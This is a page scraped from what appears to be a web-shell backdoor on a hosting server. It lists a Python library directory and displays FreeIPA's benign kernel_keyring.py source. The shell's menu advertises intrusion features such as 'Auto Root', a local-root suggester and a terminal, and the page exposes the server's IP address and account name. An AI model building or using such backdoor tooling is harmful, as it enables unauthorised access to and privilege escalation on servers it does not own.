Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python2.7 /
site-packages /
ipapython /
Delete
Unzip
Name
Size
Permission
Date
Action
install
[ DIR ]
drwxr-xr-x
2023-06-15 03:41
__init__.py
0
B
-rw-r--r--
2020-04-02 03:45
__init__.pyc
141
B
-rw-r--r--
2023-06-13 03:24
__init__.pyo
141
B
-rw-r--r--
2023-06-13 03:24
admintool.py
11.4
KB
-rw-r--r--
2020-04-02 03:45
admintool.pyc
11.68
KB
-rw-r--r--
2023-06-13 03:24
admintool.pyo
11.68
KB
-rw-r--r--
2023-06-13 03:24
certdb.py
30.33
KB
-rw-r--r--
2020-04-02 03:45
certdb.pyc
24.24
KB
-rw-r--r--
2023-06-13 03:24
certdb.pyo
24.24
KB
-rw-r--r--
2023-06-13 03:24
config.py
9.13
KB
-rw-r--r--
2020-04-02 03:45
config.pyc
9.6
KB
-rw-r--r--
2023-06-13 03:24
config.pyo
9.5
KB
-rw-r--r--
2023-06-13 03:24
cookie.py
24.26
KB
-rw-r--r--
2020-04-02 03:45
cookie.pyc
18.57
KB
-rw-r--r--
2023-06-13 03:24
cookie.pyo
18.57
KB
-rw-r--r--
2023-06-13 03:24
dn.py
48.4
KB
-rw-r--r--
2020-04-02 03:45
dn.pyc
50.83
KB
-rw-r--r--
2023-06-13 03:24
dn.pyo
50.83
KB
-rw-r--r--
2023-06-13 03:24
dnsutil.py
16.11
KB
-rw-r--r--
2020-04-02 03:45
dnsutil.pyc
17.54
KB
-rw-r--r--
2023-06-13 03:24
dnsutil.pyo
17.29
KB
-rw-r--r--
2023-06-13 03:24
dogtag.py
7.51
KB
-rw-r--r--
2020-04-02 03:45
dogtag.pyc
7.12
KB
-rw-r--r--
2023-06-13 03:24
dogtag.pyo
7.12
KB
-rw-r--r--
2023-06-13 03:24
errors.py
1.94
KB
-rw-r--r--
2020-04-02 03:45
errors.pyc
1.85
KB
-rw-r--r--
2023-06-13 03:24
errors.pyo
1.85
KB
-rw-r--r--
2023-06-13 03:24
graph.py
2.44
KB
-rw-r--r--
2020-04-02 03:45
graph.pyc
3.37
KB
-rw-r--r--
2023-06-13 03:24
graph.pyo
3.37
KB
-rw-r--r--
2023-06-13 03:24
ipa_log_manager.py
6.33
KB
-rw-r--r--
2020-04-02 03:45
ipa_log_manager.pyc
6.62
KB
-rw-r--r--
2023-06-13 03:24
ipa_log_manager.pyo
6.62
KB
-rw-r--r--
2023-06-13 03:24
ipaldap.py
58.15
KB
-rw-r--r--
2020-04-02 03:45
ipaldap.pyc
52.44
KB
-rw-r--r--
2023-06-13 03:24
ipaldap.pyo
51.66
KB
-rw-r--r--
2023-06-13 03:24
ipautil.py
49.64
KB
-rw-r--r--
2020-04-02 03:45
ipautil.pyc
47.54
KB
-rw-r--r--
2023-06-13 03:24
ipautil.pyo
47.37
KB
-rw-r--r--
2023-06-13 03:24
ipavalidate.py
3.55
KB
-rw-r--r--
2020-04-02 03:45
ipavalidate.pyc
3.1
KB
-rw-r--r--
2023-06-13 03:24
ipavalidate.pyo
3.1
KB
-rw-r--r--
2023-06-13 03:24
kerberos.py
6.18
KB
-rw-r--r--
2020-04-02 03:45
kerberos.pyc
8.04
KB
-rw-r--r--
2023-06-13 03:24
kerberos.pyo
8.04
KB
-rw-r--r--
2023-06-13 03:24
kernel_keyring.py
4.73
KB
-rw-r--r--
2020-04-02 03:45
kernel_keyring.pyc
4.78
KB
-rw-r--r--
2023-06-13 03:24
kernel_keyring.pyo
4.37
KB
-rw-r--r--
2023-06-13 03:24
nsslib.py
0
B
-rw-r--r--
2020-04-02 03:45
nsslib.pyc
139
B
-rw-r--r--
2023-06-13 03:24
nsslib.pyo
139
B
-rw-r--r--
2023-06-13 03:24
session_storage.py
12.91
KB
-rw-r--r--
2020-04-02 03:45
session_storage.pyc
9.13
KB
-rw-r--r--
2023-06-13 03:24
session_storage.pyo
9.13
KB
-rw-r--r--
2023-06-13 03:24
ssh.py
6.09
KB
-rw-r--r--
2020-04-02 03:45
ssh.pyc
6.04
KB
-rw-r--r--
2023-06-13 03:24
ssh.pyo
6.04
KB
-rw-r--r--
2023-06-13 03:24
version.py
11.89
KB
-rw-r--r--
2023-06-13 03:23
version.pyc
10.6
KB
-rw-r--r--
2023-06-13 03:24
version.pyo
10.6
KB
-rw-r--r--
2023-06-13 03:24
Save
Rename
# Authors: Rob Crittenden <rcritten@redhat.com> # # Copyright (C) 2012 Red Hat # see file 'COPYING' for use and warranty information # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # from __future__ import absolute_import import os import six from ipapython.ipautil import run from ipaplatform.paths import paths from ipaplatform.tasks import tasks # NOTE: Absolute path not required for keyctl since we reset the environment # in ipautil.run. # Use the session keyring so the same user can have a different principal # in different shells. This was explicitly chosen over @us because then # it is not possible to use KRB5CCNAME to have a different user principal. # The same session would always be used and the first principal would # always win. KEYRING = '@s' KEYTYPE = 'user' def dump_keys(): """ Dump all keys """ result = run([paths.KEYCTL, 'list', KEYRING], raiseonerr=False, capture_output=True) return result.output def get_real_key(key): """ One cannot request a key based on the description it was created with so find the one we're looking for. """ assert isinstance(key, six.string_types) result = run([paths.KEYCTL, 'search', KEYRING, KEYTYPE, key], raiseonerr=False, capture_output=True) if result.returncode: raise ValueError('key %s not found' % key) return result.raw_output.rstrip() def get_persistent_key(key): assert isinstance(key, six.string_types) result = run([paths.KEYCTL, 'get_persistent', KEYRING, key], raiseonerr=False, capture_output=True) if result.returncode: raise ValueError('persistent key %s not found' % key) return result.raw_output.rstrip() def is_persistent_keyring_supported(check_container=True): """Returns True if the kernel persistent keyring is supported. If check_container is True and a containerized environment is detected, return False. There is no support for keyring namespace isolation yet. """ if check_container and tasks.detect_container() is not None: return False uid = os.geteuid() try: get_persistent_key(str(uid)) except ValueError: return False return True def has_key(key): """ Returns True/False whether the key exists in the keyring. """ assert isinstance(key, six.string_types) try: get_real_key(key) return True except ValueError: return False def read_key(key): """ Read the keyring and return the value for key. Use pipe instead of print here to ensure we always get the raw data. """ assert isinstance(key, six.string_types) real_key = get_real_key(key) result = run([paths.KEYCTL, 'pipe', real_key], raiseonerr=False, capture_output=True) if result.returncode: raise ValueError('keyctl pipe failed: %s' % result.error_log) return result.raw_output def update_key(key, value): """ Update the keyring data. If they key doesn't exist it is created. """ assert isinstance(key, six.string_types) assert isinstance(value, bytes) if has_key(key): real_key = get_real_key(key) result = run([paths.KEYCTL, 'pupdate', real_key], stdin=value, raiseonerr=False) if result.returncode: raise ValueError('keyctl pupdate failed: %s' % result.error_log) else: add_key(key, value) def add_key(key, value): """ Add a key to the kernel keyring. """ assert isinstance(key, six.string_types) assert isinstance(value, bytes) if has_key(key): raise ValueError('key %s already exists' % key) result = run([paths.KEYCTL, 'padd', KEYTYPE, key, KEYRING], stdin=value, raiseonerr=False) if result.returncode: raise ValueError('keyctl padd failed: %s' % result.error_log) def del_key(key): """ Remove a key from the keyring """ assert isinstance(key, six.string_types) real_key = get_real_key(key) result = run([paths.KEYCTL, 'unlink', real_key, KEYRING], raiseonerr=False) if result.returncode: raise ValueError('keyctl unlink failed: %s' % result.error_log)